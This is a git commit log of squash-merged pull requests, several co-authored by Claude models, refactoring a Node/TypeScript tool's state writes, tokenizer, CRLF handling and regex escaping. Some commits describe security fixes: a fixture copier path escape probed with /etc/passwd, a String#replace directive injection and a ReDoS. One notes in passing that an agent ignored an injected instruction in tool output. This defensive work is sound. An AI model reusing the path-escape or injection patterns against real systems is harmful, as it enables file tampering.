met by the ADR amendment already in this diff.

* test(#3469): register property-test temp-dir cleanup at creation time

Standards review, minor but real: the new fast-check property cleaned up its
temp dirs in a loop AFTER fc.assert returned. A genuine property failure
throws, so that line never ran and every dir from the failing run — including
all of fast-check's shrinking iterations — leaked.

The failure path is exactly when a littered machine hurts most, and a failing
property test is the case the test exists for.

Cleanup is now registered with t.after() at dir-creation time, so teardown
happens however the test exits. Not try/finally — CONTRIBUTING.md:356 bans it
inside test bodies, which is why the after-the-assertion shape existed in the
first place.

Swept the rest of the branch's test diff for the same shape; phase.test.cjs
already uses registered teardown and nothing else matched.

* fix(#3469): patchCore routes frontmatter writes instead of dropping them

Checkpoint returned 10 failures of 33880. One implementation defect, three
test defects, one stale test — all fixed, and the implementation defect is the
one that matters.

patchCore stripped frontmatter and then reconstructed it VERBATIM, applying no
patches to it. An arbitrary custom frontmatter key with no body counterpart and
no FIELD_CLASSIFICATION row — risk_level in the upstream fix(#3351) test —
therefore always reported failed and silently never wrote. It worked before,
via the old whole-document match on the raw YAML line.

That is a regression against this phase's own design row 9, which requires
frontmatter changes to ROUTE THROUGH the seam — still work, policy-governed —
not to stop working. Removing a capability is not routing it. An upstream test
caught it, which is the argument for running the checkpoint before believing
the refactor.

patchCore now partitions by frontmatter shape, decided structurally from the
parsed frontmatter's own keys rather than a naming heuristic:
  - classified keys still report failed — policy owns them and a raw patch may
    not bypass it;
  - unclassified keys apply to the frontmatter object and report updated —
    Phase 1's behavior-table row 19, a field with no row is not this contract's
    business;
  - body-shaped keys are unchanged.

The property 'failure' was my own test breaking the repo's Clock Seams rule.
The two paths agree byte-for-byte; the only difference was last_updated,
stamped from the wall clock on two invocations milliseconds apart, so it could
never pass. Time is now frozen with mock.timers across both — not by excluding
last_updated from the comparison, which would have silently stopped comparing
a field the composition writes.

B4's fixture could not discriminate: normalizeStateStatus maps any text
containing 'complete' to 'completed', and milestone complete's own new body
value derives to exactly that — which was also the fixture's stale value. The
stale value is now 'executing' so the assertion can tell 'body correctly won'
from 'stale survived'.

B5's fixture tripped a pre-existing unstarted-phase guard before reaching any
write-seam code; it now has the matching phase directory.

D9 asserted the old exempt set. readModifyWriteStateMd now calls one symbol
rather than assembling two, so it needs no exemption; syncAndPreserveStateMd
is the sole legitimate composition site.

* fix(#3469): patchCore resolves body-first, so the body wins a name collision

Re-verification returned 2 failures of 33880, both D4 — the hostile row for a
key that exists as BOTH a frontmatter key and a body field.

The partition checked frontmatter first, so 'status' — classified in
FIELD_CLASSIFICATION and also present as a body 'Status:' line — routed to the
frontmatter branch, was rejected as classified, and reported failed.

Wrong order. Patching 'status' means the body field, and upstream fix(#3351)
says so in its own comment: 'the legitimate working case for state.patch is
display-cased BODY fields — Status, Current Plan, Phase.' The body is
authoritative in this model; frontmatter is the projection. D4 asserted
exactly that and was right.

Resolution order is now body, then frontmatter:
  1. resolves to a body field -> apply to body, updated
  2. else an own key of the frontmatter:
       classified   -> failed  (policy owns it)
       unclassified -> apply to frontmatter, updated
  3. else -> failed

Verified by probe against the compiled lib for all four cases rather than
asserted: risk_level (frontmatter-only, unclassified) still lands;
current_phase still fails; display-cased Status unchanged; D4's lower-cased
status now lands via the body with the frontmatter untouched.

The current_phase case was the one that could have regressed silently, so its
fixture was read rather than assumed — D1's body carries 'Phase: 3 (alpha)'
and no 'Current Phase:' line, so body-first cannot reach it.

* chore(#3469): backfill pr number in changeset fragment

---------

Co-authored-by: sim <sim@local>
2026-08-14 16:04:09 -04:00
Tom Boucher
dbc8b4077a docs(#3467): adr-3408 state.md write-path behavior contract (#3474)
* docs(#3467): adr-3408 state.md write-path behavior contract

* docs(#3467): correct write-seam caller list and adr heading depth

Review findings from the Standards and Spec axes, fixed in place:

- ADR behavior contract demoted from H2 to `### 8` with `#### 8.x`
  subsections, matching ADR-3180's `### 7` / `#### 7.1` precedent the
  front matter claims to follow.
- CONTEXT.md placed the STATE.md factory-reset primitive at
  verify.cts:1925. It moved to health-diagnostic.cts:337 when
  cmdValidateHealth migrated onto the rule table (#3309); verify.cts
  now has no writeStateMd call. The design intent was correct — only
  the address was stale.
- A repo-wide scan found three direct writeStateMd callers, not two:
  cmdStateSync, cmdMilestoneComplete, and the REGENERATE_STATE remedy.
  The last is documented as a sanctioned permanent exception — it is
  a factory reset, so preservation would restore the values it was
  invoked to discard.
- phase.cts comment citation corrected to :2953-2957.
- Amendment 4 attribution corrected: the recorded owner-file exemption
  failure is roadmap-parser.cts; the state.cts transfer is this ADR's
  own extrapolation.

---------

Co-authored-by: sim <sim@local>
2026-08-14 11:03:48 -04:00
Tom Boucher
470389f3a2 chore(#3212): tokenizer-first for stateful grammars — a shared scanner — Phase 3 (#3424)
* feat(#3414): promote git-cmd.js token-walk into a shared scanner, fix #3169

Phase 3 of epic #3212 (ADR-3212 §4). New src/token-scanner.cts generalizes
hooks/lib/git-cmd.js's proven token-walk (#3129 — "has not re-opened"):
tokenizeShellLike (quote-aware shell tokenizer, byte-identical port) and
indentWidth (bullet-nesting depth).

git-cmd.js migrates onto tokenizeShellLike with zero behavior change
(parity-asserted against every existing #3129 fixture in
tests/worktree-safety.test.cjs's folded block); isGitSubcommand's phases
1-3 (env-prefix skip, executable check, global-option consume) extracted
into skipToSubcommand, shared with the new extractBranchArgument (git
checkout -b / git branch <name>) — a new capability exercising the seam
on the domain the ADR names, not a migration of existing duplicated logic
(none existed).

Fixes #3169: src/decisions.cts's parseDecisionLines couldn't distinguish
a cross-reference bullet nested under an open decision from a fresh
malformed declaration attempt. An earlier bold-run-content-classification
design was tried and disproven against the repo's own existing FIX-B
fixtures (D-02, "no colon no dash") before being adopted — both have
identical shape under any content-only rule. Nesting depth (via
indentWidth) is the actual distinguishing signal: a bullet indented
deeper than the currently-open decision's own bullet is elaboration,
folded into its text like a continuation line, never tested against the
parse-miss guard. A bullet at the same-or-shallower indent is unchanged.

Scope-narrowing disclosed, not silent: of the ADR's four named bugs
(#3197, #3169, #2570, #2528), three no longer need this phase's work.
were independently fixed and closed since the ADR was authored — #2570's
fix is already a correctly-bounded regex per the ADR's own decidability
test (no scanner needed); #2528's fix is a deliberate, twice-reviewed
non-scanner design (its own code comment records a scanner-based attempt
that regressed a symmetric case and was reverted) that this phase does
not disturb. Only #3169 required new work.

get_impact: isGitSubcommand CRITICAL/196 affected symbols,
parseDecisionLines CRITICAL/164 affected symbols (ADR §6 due diligence).

Six-gate ripple: .gitignore, eslint.config.mjs, docs/INVENTORY.md,
docs/INVENTORY-MANIFEST.json (regenerated), CONTEXT.md glossary.

Design: .gsd/phase/chore-3414-tokenizer-first-seam/40-design.md
Test matrix: .gsd/phase/chore-3414-tokenizer-first-seam/50-test-matrix.md

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#3414): add required fast-check property tests per code review

TESTING-STANDARDS.md:169 requires at least one fast-check property test
for any module that implements parsing — src/token-scanner.cts had none,
an orthogonal Standards-axis review finding. Adds two seeded property
tests (mirroring Phase 1/2's fast-check-setup.cjs convention):
indentWidth counts exactly a generated leading-space run; tokenizeShellLike
round-trips a generated array of whitespace/quote-free words joined with
single spaces.

The design doc's own "no property test needed" rationale was wrong — it
argued no algebraic law applied, but the standard is unconditional for
parsing modules regardless of whether one "feels" applicable. Corrected
in .gsd/phase/chore-3414-tokenizer-first-seam/50-test-matrix.md.

Also fixes two Spec-axis wording drifts the same review found between
the design doc and the shipped code (doc-only, no behavior change):
extractBranchArgument's documented signature dropped an unused
subVariants parameter that was never implemented, and the #3169
fail-first fixture description corrected from "15-decision plan via
cmdDecisionCoverageVerify" to the actual compact 3-decision analog via
the real blocking gate, check.decision-coverage-plan.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs(#3414): add changeset for #3169 fix

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs(#3414): backfill changeset pr number to 3424

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

---------

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Sonnet 5 <noreply@anthropic.com>
2026-08-13 23:08:34 -04:00
Tom Boucher
0624c5da6f chore(#3212): src/text-lines.cts is the sole owner of line-terminator handling — Phase 2 (#3420)
* test(#3413): failing-first suite for the line-terminator seam

Phase 2 of epic #3212 (ADR-3212 §3/§6/§7). Tests only — src/text-lines.cts
does not exist yet, so tests/text-lines.test.cjs fails with MODULE_NOT_FOUND
at its require line, which is the intended RED.

The frontmatter.test.cjs additions drive #3360 (confirmed-bug) fail-first:
parseMustHavesBlock currently returns [] for every must_haves block on a
CRLF-authored plan file, because \r is its own LineTerminator in ECMAScript
and two /m-anchored \s* patterns can absorb it, inflating a captured indent
by one character and tripping the "not nested under must_haves" guard.
Verified locally against the current (unfixed) compiled module: both the
direct repro and the silent-exit "blank line before must_haves:" variant
return [] today. A parity property test (crlf vs lf must deep-equal for
every block name) matches a pattern this maintainer has required repeatedly
for prior CRLF fixes in this codebase (Cortex-recorded, verify_intent=held).

The no-crlf-fragile-split.rule.test.cjs additions lock the eslint rule's
future fix-hint text (pointing at splitLines()) and its self-reference
non-violation (the seam's own correct \r?\n split must never flag itself).

Design: .gsd/phase/chore-3413-text-lines-seam/40-design.md
Test matrix: .gsd/phase/chore-3413-text-lines-seam/50-test-matrix.md

* chore(#3413): src/text-lines.cts owns line-terminator handling

Phase 2 of epic #3212 (ADR-3212 §3/§6/§7). Adds splitLines/normalizeEol/
detectEol/joinLines and migrates frontmatter.cts onto it.

parseMustHavesBlock (#3360, confirmed-bug) returned [] for every
must_haves block on a CRLF plan file. Root cause: \r is its own
LineTerminator in ECMAScript, so under /m two \s*-anchored indentation
lookups could match at the position INSIDE a \r\n pair and absorb the
terminator, inflating the captured indent by one character and tripping
the "not nested under must_haves" guard. Two silent exits, one with a
diagnostic and one without (a blank line before must_haves: hits the
silent path). Fixed by converting both lookups from a whole-string /m
match to split-then-scan — splitLines first, then a per-line, non-/m
match — the same structural pattern parseYamlRegion (30 lines away in
the same file) already used safely. Nothing downstream of the two
lookups changed; blockLines is now sliced from the already-split array
instead of re-splitting a substring, but its contents are unchanged for
LF input, and the per-line dash/kv parsing loop is untouched.

A parity property test (CRLF and LF plans parse to identical must_haves
for every block name) matches a pattern this maintainer has required
repeatedly for prior CRLF fixes in this file's neighborhood (Cortex:
7 recorded decisions, verify_intent -> held).

frontmatter.cts's other .split(/\r?\n/) call sites (parseYamlRegion,
isFrontmatterShaped, sliceTopLevelFrontmatterSegments, spliceFrontmatter)
are rerouted onto splitLines — a literal 1:1 substitution, zero behavior
change, since splitLines IS that same regex plus a type guard.

The 4 scripts/normalizeLineEndings copies (gen-registry, gen-loop-host-
contract, gen-capability-registry, gen-context-index) are deleted and
rerouted onto normalizeEol, which strips a bare unpaired \r exactly like
the deleted copies did (not just \r\n pairs) -- verified against each
script's own --check mode against its real generated output.

local/no-crlf-fragile-split widens from tests/ to src/**/*.cts, with its
fix-hint message now naming splitLines() instead of the raw regex --
the prohibition finally has a primitive to point at. Detection logic
unchanged in this phase (deliberate scope limit, see design doc Known
limits: the rule doesn't yet recognize safeReadFile/platformReadSync as
a content source, and has no detector for the \s-adjacent-to-anchor
shape that is #3360's actual mechanism -- the CLASS is converged by the
direct fix + regression test regardless).

joinLines/detectEol are NOT wired into frontmatter.cts's own write path
(cmdFrontmatterSet/Merge -> platformWriteSync) -- verified that
platformWriteSync already, unconditionally converts CRLF->LF on every
.md write today as a pre-existing policy owned by a different module,
and ADR-3212's backward-compatibility clause rules out a file-format
change in any phase. Stated explicitly in Known limits rather than left
for a reader to discover.

Six-gate ripple: .gitignore, eslint.config.mjs (src/**/*.cts block),
docs/INVENTORY.md + INVENTORY-MANIFEST.json (regenerated), CONTEXT.md
glossary (Text Lines Module, mirroring Phase 1's Pattern Module entry).

Design: .gsd/phase/chore-3413-text-lines-seam/40-design.md
Test matrix: .gsd/phase/chore-3413-text-lines-seam/50-test-matrix.md

* fix(#3413): fix 13 pre-existing CRLF-fragile splits the widened rule found

Widening local/no-crlf-fragile-split from tests/ to src/**/*.cts (the
previous commit) immediately surfaced 13 real, pre-existing violations
across 10 files -- undetected until now because the rule never scanned
src/. This is the exact defect class ADR-3212 exists to close, playing
out again one phase after Phase 1 hit the same shape ("the new lint
rule -- once live -- found 27 more"). Per CLAUDE.md's no-defer rule,
fixed inline rather than deferred or suppressed; there is no
established suppression convention for this rule in src/ and inventing
one now would undermine the point of widening it.

audit.cts, broken-windows.cts, core-utils.cts, init.cts, milestone.cts,
phase.cts (x3), profile-output.cts, roadmap.cts (x2): bare-\n splits or
regex character classes widened to \r?\n / [^\r\n], each following the
same pattern already established migrating frontmatter.cts.

phase-estimation.cts: `\r?(?:\n|$)` restructured to `(?:\r?\n|\r?$)` --
already semantically CRLF-safe, but the rule's lexical scanner doesn't
recognize \r? guarding a group (only \r? immediately before a literal
\n). Verified the two forms are equivalent across all four EOL/EOF
cases before restructuring, not assumed.

roadmap-upgrade.cts needed two coupled sites, not the one flagged line:
computeMigrationPlan and applyMigration must agree on line
representation for the lines[edit.lineIndex] === edit.from equality
check to hold, and the write-back needed joinLines + detectEol -- a
plain lines.join('\n') was silently flattening a CRLF ROADMAP.md to LF
wholesale on every migration. This is the first real production
consumer of joinLines/detectEol in this epic (frontmatter.cts's own
write path doesn't use them -- see the previous commit's Known limits).

Fixing the 13 flagged sites surfaced 4 more adjacent same-shape sites
the rule doesn't track (.search() and new RegExp(dynamicString) aren't
in its tracked call/construction set). Investigated each empirically --
hand-tracing this exact bug class already produced one wrong conclusion
earlier in this phase (a detectEol design-doc arithmetic error), so
these were verified with real CRLF fixtures rather than reasoned about
on paper:

  - audit.cts (scanTodos): REAL bug, fixed. `bodyMatch.trim().split
    ('\n')[0]` leaked a trailing \r into a user-visible todo summary on
    CRLF input -- .trim() only strips the string's outer edges, not a
    \r sitting mid-string before the first bare \n. Now splitLines(...)
    [0].
  - phase.cts (cmdPhaseInsert, bullet-style branch): REAL bug, fixed.
    [^\n]* in targetBulletPattern swallowed a line's trailing \r on
    CRLF input, shifting the computed insert position to land INSIDE
    the \r\n pair; combined with a hardcoded '\n' bullet separator, a
    CRLF ROADMAP.md ended up with a mixed CRLF/LF result after an
    insert. Fixed with two coupled changes (either alone still
    corrupts, verified both ways): [^\r\n]* in the pattern, and the new
    bullet's leading terminator now comes from detectEol(rawContent).
  - roadmap.cts (cmdRoadmapAnnotateDependencies phase-boundary scan):
    investigated, genuinely safe, left untouched. The .search(/\n#{2,4}
    .../) boundary-finder and the [^\n]*-based heading match were
    empirically verified on a 3-phase CRLF fixture -- the only stray \r
    ends up at the tail of an intermediate phaseSection string that is
    only ever used for .test()-based idempotency checks, never for an
    exact-match comparison or written back to disk. No corruption on
    round-trip.

Every fix re-verified: npm run build:lib clean, npx eslint
'src/**/*.cts' --no-cache reports 0 problems (was 13), and each
fixed function's existing LF-input tests were spot-checked unchanged.

* fix(#3413): apply orthogonal review findings

Two isolated review engines (correctness + security) ran against the
full diff and found three majors, one real security issue, and several
disclosure-worthy minors. All fixed or explicitly disclosed with
evidence; nothing deferred.

MAJOR — detectEol's tie-break contradicted its own documented contract.
Code returned '\n' on a 1:1 crlf/bare-LF tie; every doc (design doc,
CONTEXT.md, the function's own comment) says ties resolve to '\r\n'.
The existing test masked this by reusing the same tie fixture the
buggy code happened to satisfy, rather than a genuine LF-majority
case. Root cause: an Edit attempted earlier in this phase to fix this
exact arithmetic error was blocked by the tier guard, and a later
dispatch was incorrectly told it had already landed. Fixed: condition
is now crlfCount >= bareLfCount; the test fixture corrected to a
genuine 2:1 majority, with a new explicit tie-case test.

MAJOR — phase.cts's cmdPhaseInsert built an EOL-aware bulletEntry via
detectEol(rawContent), justified by a comment claiming a hardcoded
'\n' corrupts a CRLF ROADMAP.md. False: this write goes through
platformWriteSync, whose normalizeContent/_normalizeMd unconditionally
converts CRLF->LF for any .md target — the templating was inert dead
code, erased before the file is ever written. Reverted to hardcoded
'\n', comment corrected to state the true reasoning. The separate
[^\n]* -> [^\r\n]* widening one function up (a real splice-position
fix, independent of final EOL) was kept.

MAJOR — roadmap-upgrade.cts's stated rationale for switching onto
splitLines/joinLines was wrong (both functions always agreed on line
representation, before and after — the claimed equality-check risk
never existed), and the change it justified introduced a real
regression: forcing every line onto one dominant terminator silently
rewrites untouched lines' EOL on a mixed-CRLF/LF ROADMAP.md. This
write path uses raw fs.writeFileSync, not platformWriteSync, so unlike
the phase.cts case above the regression is genuinely live.

Fixing this took two attempts. The first attempt (revert to
split('\n')/join('\n') plus a suppression comment) was correctly
blocked by an agent that discovered local/no-crlf-fragile-split is a
PROTECTED_RULES entry in tests/portability-rule-disable-ban.test.cjs —
a hard, out-of-band, ADR-1703-governed guardrail banning any
eslint-disable of this rule anywhere in src/**/*.cts. That agent also
detected and correctly disregarded an injected instruction that
appeared in tool output during a git operation, per this session's
untrusted-content policy. The actual fix: computeMigrationPlan
reverted to roadmapContent.split('\n') (confirmed lint-clean — the
rule's data-flow tracking only follows a variable's initializer, and
this one is declared empty then reassigned in a try block).
applyMigration's write-back now splices edits against the ORIGINAL
content string via indexOf('\n', pos) boundary-walking instead of a
full split/rejoin, so every untouched character — including every
line's own terminator — is copied byte-for-byte. A capture-group split
(/(\r\n|\n)/, preserving terminators inline) was tried first and
empirically confirmed to still trip the rule before this approach was
chosen instead.

MINOR (security) — roadmap.cts's cmdRoadmapAnnotateDependencies used
the STRING form of String#replace, so $&, $`, $', $1-$9 inside
must_haves.truths content (author-controlled) were interpreted as
replacement directives, splicing unrelated ROADMAP.md text into the
result. Fixed with the function-replacement form, which is never
pattern-interpreted. Verified before/after with the reviewer's exact
repro.

Also disclosed rather than silently left: test matrix row 31 (four
planned CRLF-materialized regression tests) was never implemented as
separate files — corrected to record the actual verification (a
manual --check run plus incidental existing coverage via each script's
normalizeLineEndings: normalizeEol alias). parseMustHavesBlock's LF
behavior was claimed byte-for-byte unchanged but the old
yaml.indexOf(blockMatch[0]) substring search could match an unrelated
earlier occurrence of the header text (e.g. inside a quoted value) —
the split-then-scan fix incidentally also closes this, a strict
improvement now recorded in the design doc rather than left implicit.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3413): checkpoint 2 red — missing eslint ignore entry, RuleTester config error

Checkpoint 2 came back red with 5 failures on the reviewed sha, both
gaps genuinely undetectable by any local gate.

eslint.config.mjs was missing the 'gsd-core/bin/lib/text-lines.cjs'
ignores-list entry (ADR-457: generated .cjs artifacts are excluded from
direct type-aware linting). Phase 1's sibling entry (pattern.cjs) sits
two lines above it and was the exact precedent read while researching
the six-gate ripple for this module -- missed anyway. Caught by
tests/repo-invariants.test.cjs's bin/lib coverage-tracking test, which
only runs on the remote suite.

tests/no-crlf-fragile-split.rule.test.cjs's row-32 case specified both
`messageId` and `message` on the same RuleTester error assertion --
ESLint's RuleTester rejects that combination outright. This existed
since the test was first authored and was never caught locally: `npx
eslint` only lints the file's syntax, it does not execute RuleTester,
and local `node --test` is hard-blocked in this repo -- the assertion
had never actually RUN before this checkpoint. It was even present in
checkpoint 1's failure list, listed there as one of the "expected RED"
tests; I matched it against my expected-failures list by test NAME
only and never inspected the actual failure detail closely enough to
notice it was failing for the wrong reason (a RuleTester config error,
not the intended message-text mismatch). Fixed by keeping `message`
(the exact-text assertion the test exists to make) and dropping
`messageId`. Verified the crlfFragileSplit message string in
eslint-rules/no-crlf-fragile-split.cjs matches this assertion
character-for-character, and swept every other invalid case in the
file for the same double-specification bug (none found -- all
pre-existing cases use messageId alone).

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#3413): add Fixed changeset for the #3360 CRLF parsing fix

The sole user-visible effect of this phase. No breaking-change label
or Changed fragment needed — ADR-3212's Backward Compatibility section
names the Node floor (Phase 1, already shipped) as the epic's only
breaking change; Phase 2 has none.

* chore(#3413): backfill changeset pr number to 3420

---------

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-13 20:27:48 -04:00
Tom Boucher
dc3c81e93d chore(#3212): src/pattern.cts is the sole owner of runtime-value regex construction — Phase 1 (#3416)
* test(#3412): failing-first suite for the pattern-construction seam

Phase 1 of epic #3212 (ADR-3212 §1/§2/§7). Tests only — src/pattern.cts
and eslint-rules/no-adhoc-regex-escape.cjs do not exist yet, so both
suites fail with MODULE_NOT_FOUND, which is the intended RED.

Locks the measured behavior rather than the assumed behavior:
RegExp.escape hex-escapes the leading character of nearly every string
("abc" -> "\x61bc"), so the suite asserts match-equivalence against an
inlined historical oracle (the implementation being deleted) rather
than byte-equivalence of pattern text — 200 seeded fast-check runs plus
a fixed corpus, 0 mismatches. Also locks the latent character-class
range bug this phase fixes as a side effect: a hyphen-bearing value
interpolated into [...] currently forms a real range and matches an
unintended character; post-migration it must not.

* chore(#3412): src/pattern.cts owns runtime-value regex construction

Phase 1 of epic #3212 (ADR-3212 §1/§2/§6/§7). Adds the pattern seam
delegating to the built-in RegExp.escape, deletes every hand-rolled
copy, and raises the Node floor to the Active LTS line.

The census was low, three times over. ADR-3212 counted 10 copies; a
graph query found 12; the new lint rule — once live — found 27 more.
The difference is that the census counted named helper FUNCTIONS while
the rule counts the escape SHAPE, so inline .replace(<class>, '\$&')
copies were never in scope. ADR §1's actual requirement is that no
module outside the seam escapes a value for regex use, so all of them
are, and CLAUDE.md's no-defer rule makes them this change's work.
Fourth consecutive epic here whose copy count was low — the argument
for ADR-3180 Amendment 3's "state N found by the guard" rule.

Also corrected mid-implementation: the survey reported phase-id.cts's
escapeRegex had 0 external importers. It had 8 production importers,
making its removal a public-surface change to an ADR-2121-owned module
and requiring an update to that ADR's locked-surface test. Blast
radius revised Medium-High -> High.

RegExp.escape is match-equivalent but NOT text-equivalent: it
hex-escapes the leading char of nearly every string ("abc" ->
"\x61bc"). Equivalence is proven by a seeded fast-check property test
against the deleted implementation as oracle. It also fixes a latent
bug: a hyphen-bearing value interpolated into a character class
previously formed a real range and matched an unintended character.

Node floor 22 -> 24 (RegExp.escape is Node 24+), across engines,
.nvmrc, package-lock, 9 CI matrix entries, and 5 docs. The aggregate
`required-tests` context is unchanged and no job was added or removed,
so branch protection cannot be orphaned by the dropped lanes.

Enforced by eslint-rules/no-adhoc-regex-escape.cjs (shape-matched, with
structural provenance for reviewed pattern-fragment constants rather
than a name heuristic) plus a whole-tree companion guard covering the
directories ESLint's globs miss.

* fix(#3412): close the _SOURCE guard evasion, correct two false claims

Three findings from the orthogonal review pass, all fixed.

1. The ESLint rule's `_SOURCE` provenance fallback was pure identifier-
   name matching with no binding check, so `new RegExp(userInput_SOURCE)`
   — a function parameter — sailed past the guard. That is the same
   rename-evasion class issue #3410 documents, reopened by the very
   fallback meant to complement the structural check. Now bound to the
   identifier's actual binding kind: import, require-derived const, or
   module-scope const; parameters, `let`/`var`, and unresolvable
   bindings fail closed. Four RuleTester cases cover the evasion and
   prove the legitimate cross-module case still passes.

2. src/pattern.cts's own header carried the stale pre-correction counts
   (12 copies / 17 call sites) while CONTEXT.md and the design doc
   carried the corrected ones (~39 / ~44) — a self-contradiction inside
   the PR whose entire purpose is deleting divergent copies. Rewritten,
   preserving the durable lesson: a named-function census cannot see
   inline copies; only a shape-matching guard can.

3. The claim that all deleted copies threw TypeError on non-string was
   false. phase-id.cts's copy — the one with 8 external importers — did
   String(value).replace(...) and never threw. The seam's locked
   signature does not coerce, so this is a real, now-disclosed behavior
   change rather than the pure preservation the tests asserted. Audited
   all 32 invocations across the 8 importers and 6 in-file callers:
   every one is safe by construction (upstream truthy guard or a
   string-producing derivation), verified by runtime probe against the
   compiled modules rather than by TS compilation, which cannot see a
   runtime undefined. Corrected the false claim in both the test comment
   and the design doc, and added it to Known limits.

* docs(#3412): add Changed changeset for the Node 24 floor

The only user-visible break in this phase. The escape-behavior change
is internal and match-equivalent, so it carries no user-facing note.

* fix(#3412): resolve the seam's require graph in script fixtures and packaging

Checkpoint 2 came back red with 90 failures on the node24 lane. Three
distinct defects, all introduced by routing scripts/ through the new
pattern seam, none reproducible by any local gate:

1. ~82 failures — tests/adr-index-gate.test.cjs and
   tests/removed-but-needed-lint.test.cjs copy a scripts/*.cjs into an
   mkdtemp fixture and spawn it there (necessary: those scripts resolve
   their scan root from __dirname/.., so running the real script would
   scan the real repo). Each harness hand-listed the dependencies to
   copy alongside. Adding require('../gsd-core/bin/lib/pattern.cjs') to
   gen-adr-index.cjs made both lists silently incomplete ->
   MODULE_NOT_FOUND, plus 17 downstream 'did not emit parseable JSON'
   failures from the same crash.

   Fixed as a class, not an instance: new tests/helpers/copy-script-
   fixture.cjs walks a script's transitive static relative-require graph
   and copies it, so dependencies are derived and never re-declared. It
   throws (naming the unbuilt artifact) instead of letting the child die
   with a bare MODULE_NOT_FOUND. Verified for all four seam-consuming
   scripts: gen-adr-index, lint-removed-but-needed, gen-loop-host-
   contract, sync-runtime-launcher.

2. 2 failures — scripts/ ships wholesale but eslint-rules/ does not, so
   the new scripts/lint-no-adhoc-regex-escape.cjs would be
   MODULE_NOT_FOUND in a published install (#2858 guard). Excluded from
   the tarball, matching the existing precedent for gen-emitted-
   baseline.cjs, which is excluded for the identical reason, and locked
   with a test modeled on that one. Confirmed against a real npm pack:
   890 files, 0 from eslint-rules/, and gsd-core/bin/lib/pattern.cjs
   present (so the other four scripts' requires are legitimate).

3. 6 failures — tests/phase-id.test.cjs asserted the literal escaped
   source text ('0*29', 'PROJ-42'). RegExp.escape is match-equivalent to
   the retired hand-rolled escaper but NOT text-equivalent: it hex-
   escapes the leading character and all hyphens ('0*\x329',
   '\x50ROJ\x2d42'). Verified NOT a behavior change — 576 match
   decisions across all three real interpolation prefixes, zero
   divergence. Those tests now compile each source into the same heading
   regex src/roadmap.cts's searchPhaseInContent builds and assert what
   matches and what does not, including the 'i'-flag canonicalization
   the hex escape has to preserve. Re-pinning the new literals would
   have rebuilt the same brittleness one layer down. Adds a test for the
   property the escape exists for: a dot in '1.2' must not act as a
   wildcard.

Also shares one definition of 'a require' between the packaging guard
and the fixture copier, so the two cannot disagree about what they scan.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3412): refuse to copy a fixture dependency outside the fixture root

copyScriptWithDeps resolved each relative require and joined the
repo-relative result onto fixtureRoot. A require resolving OUTSIDE the
repo yields a '../'-prefixed relative path, so path.join climbed out of
the fixture and wrote into the surrounding temp dir (verified:
repoRoot=/repo + depAbs=/etc/passwd wrote /tmp/etc/passwd).

No script in the tree does this today, so this closes an available
escape rather than an active one. Refuses via the existing unresolved-
require path so the failure names the offending specifier. Covered by a
negative proof that the guard fires and that nothing lands outside the
fixture.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3412): parse requires instead of pattern-matching them; restore the foreign-prefix contract

Applies all findings from the second orthogonal review round, re-run
because real code changed after round 1.

HIGH (security) — extractRequires stripped BLOCK comments before LINE
comments, so a '//' comment containing '/*' opened a phantom block
comment, and a '//' inside a string literal truncated the line. Both
hid real requires: 'const u="http://x"; require("./real.cjs")'
returned [], and four real requires in gsd-core/bin/gsd-tools.cjs were
invisible. Replaced with a real AST parse via espree.

This is ADR-3212's own Decision 4 — tokenizer-first for stateful
grammars — applied to the case it describes; comment/string/regex
nesting is exactly such a grammar, which is why the regex version was
wrong. The function was moved byte-identical out of the #2858 packaging
guard, so the bug PRE-DATES this branch and has been a live blind spot
there: a shipped script could have required an unshipped path
undetected. Fixing it makes that guard strictly stronger than on next.

espree is promoted from a transitive eslint dependency to an explicit
devDependency rather than relying on hoisting. The script parse attempt
sets ecmaFeatures.globalReturn because Node wraps CommonJS bodies in a
function, making a top-level return legal — scripts/check-coverage-gate
.cjs relies on it, and without the flag the guard throws on a file it
is supposed to scan. Verified 0 unparseable across all 324 .cjs/.js
under scripts/, bin/, and gsd-core/bin/, and 0 new violations against a
real npm pack, so the exact extractor does not newly fail the guard.

MEDIUM (security) — the repo-containment check guarded dependencies but
not the entry path. One escapesContainment predicate now guards both.

LOW (security) — containment was lexical while fs follows symlinks, and
a directory symlink could mint a fresh dedupe key per level. realpath
now resolves both repoRoot and each dependency before the decision, and
the realpath-derived path is the dedupe key. Destination layout still
uses the original repo-relative path, so copied trees are unchanged.

MAJOR (standards) — the round-1 behavioral rewrite of phase-id tests
lost the foreign-prefix contract: every assertion was satisfied by an
impl returning [A-Z]+\x2d42, i.e. ANY project code — the exact #3599
bug class the exact-source prevents. The literal assertions it replaced
were catching this. Now asserts the compiled regex REJECTS a different
prefix with the same number.

MAJOR (standards) — the test hand-duplicated production's heading regex
with no parity guard (CLAUDE.md's 'Generative Fix Divergence'). Removed
the parallel surface instead of policing it: src/roadmap.cts exports
buildPhaseHeadingRegex, searchPhaseInContent calls it, the test imports
it. Byte-identical .source and .flags verified for both escaped forms.

MINOR — '..foo' no longer false-flagged as an escape; the inverted
spurious-vs-missing doc claim corrected; the dead allow-test-rule
header removed.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#3412): backfill changeset pr number to 3416

* fix(#3412): make the escape guard's own regex linear, reword an injection-scan collision

Two CI failures on PR #3416, both in code this branch added.

CodeQL js/redos (high) — REPLACE_CALL_RE's outer alternation let a
bracket run be consumed EITHER by the character-class branch OR one
character at a time by the trailing catch-all, so a failing match
explored both parses of every pair. Measured on the real regex:
n=26 -> 204ms, n=28 -> 791ms, n=30 -> 3475ms, a clean 2^n. This script
scans repo source, so a file with a long bracket run after '.replace(/'
would hang CI outright — a guard against undisciplined pattern
construction was itself the worst pattern in the diff.

Fixed the way ADR-3212 already prescribes: the catch-all branch now
excludes '[' and ']' so a bracket can only be consumed by the class
branch (this is what makes it linear), and every quantifier is bounded
(the locked bounded-quantifiers decision) as a second line of defense.
